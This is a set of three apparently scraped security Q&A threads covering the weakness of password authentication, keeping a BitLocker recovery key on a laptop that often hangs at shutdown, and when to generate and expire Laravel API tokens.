The password authentication scheme has an obvious flaw: The authenticating subject needs to send a secret in clear text in order to prove her identity. However, password authentication is widely accepted. Why? Because it is practical to use and easy to understand. If there were really good alternatives none would use password authentication any more. Everything that fixes the above flaw requires cryptography which requires math and computational power.

The only one I can think of are mechanisms which don't reveal the full secret in one run. Think of a 2nd-factor authentication where the server asks you for digits 2 and 7 of a 10 digit number and next time it will ask you for 1 and 3. An eavesdropper needs to log a lot of authentication attempts before (s)he has a reasonable chance to logon successfully. But this is not really what you are looking for.

A while ago, someone posted this on security@stackexchange. Maybe it is closer to what you are looking for but I don't think it can work, as someone commented

  Security at the expense of usability comes at the expense of security


Bitlocker on a laptop without carrying around recovery key We have a rule in my company that all PC drives must be encrypted with BitLocker, including laptops.

My own Windows 8 laptop has a tendency to hang at shutdown, black screen but the computer never stops (once waited for 30 minutes to no avail). I'd say it happens 25% of the time on average. The problem is, I then have to stop it manually and when it reboots I get the "Bitlocker blue screen of death" asking me to enter the recovery key.

If I have the key at hand everything then goes back on track, but I'm carrying this computer around everywhere I go, including places I don't have access to my company's network where the key is stored.

I understand the recovery key can be used to decrypt the drive, so I imagine it is not safe to have it with me all the time. I'm tempted to store it on my cell phone though, because if the laptop fails on me in the middle of nowhere/abroad/at a client's/on a train I have no other choice except calling someone at the office to give with the key - which I don't know if they'll be willing to do.

How can I deal with that problem ? Is Bitlocker really a reliable option for a mobile device considering potential hardware failings (especially in an SSD drive) ?

What kind of attack are you trying to protect yourself from?

Assuming your only concern is that the data on your lost/stolen laptop will not be readable, then it is OK to carry the recovery key with you. Generally people are very good at securing their wallets, it should be "safe" to keep it on a piece of paper in your wallet.

If you're concerned about being directly threatened to divulge the key then it's obviously a much bigger risk to be carrying the recovery key around.

From a usability perspective though, I would not want to go through the pain of entering the key repeatedly (you mention it's 25% of the time!) Your best move is to solve whatever problem is hanging your laptop on shutdown.


What is the recommended way to generate API tokens using Laravel framework? I'm a newbie in terms of security, but I need a suggestion to make sure the connection between an API and mobile apps is secure. I'm currently using the Laravel framework. Based on its documentation here:

  When using hashed API tokens, you should not generate your API tokens during user registration.

The questions are:

When should the token being generated if it's not during registration?
Is the token supposed to be generated on every login with specified expiration time?

Thank you!

laravel use php concepts and libraries.
so if we install any jwt libraries we can find out all of them use a configuration file for set expire date for jwt tokens ( for example 7 days. ) see this article
you as developer can configure it e.g 30 s. https://stackoverflow.com/a/41268134/308578
if you watch this video i definitely sure ,you can found out more about jwt token libraries functionality and their concepts . but this video about nodejs but concept is the same ....
any time to want you can refresh or generate tokens and pass it to your clients.
i think after this video you can understand more all you want
enjoy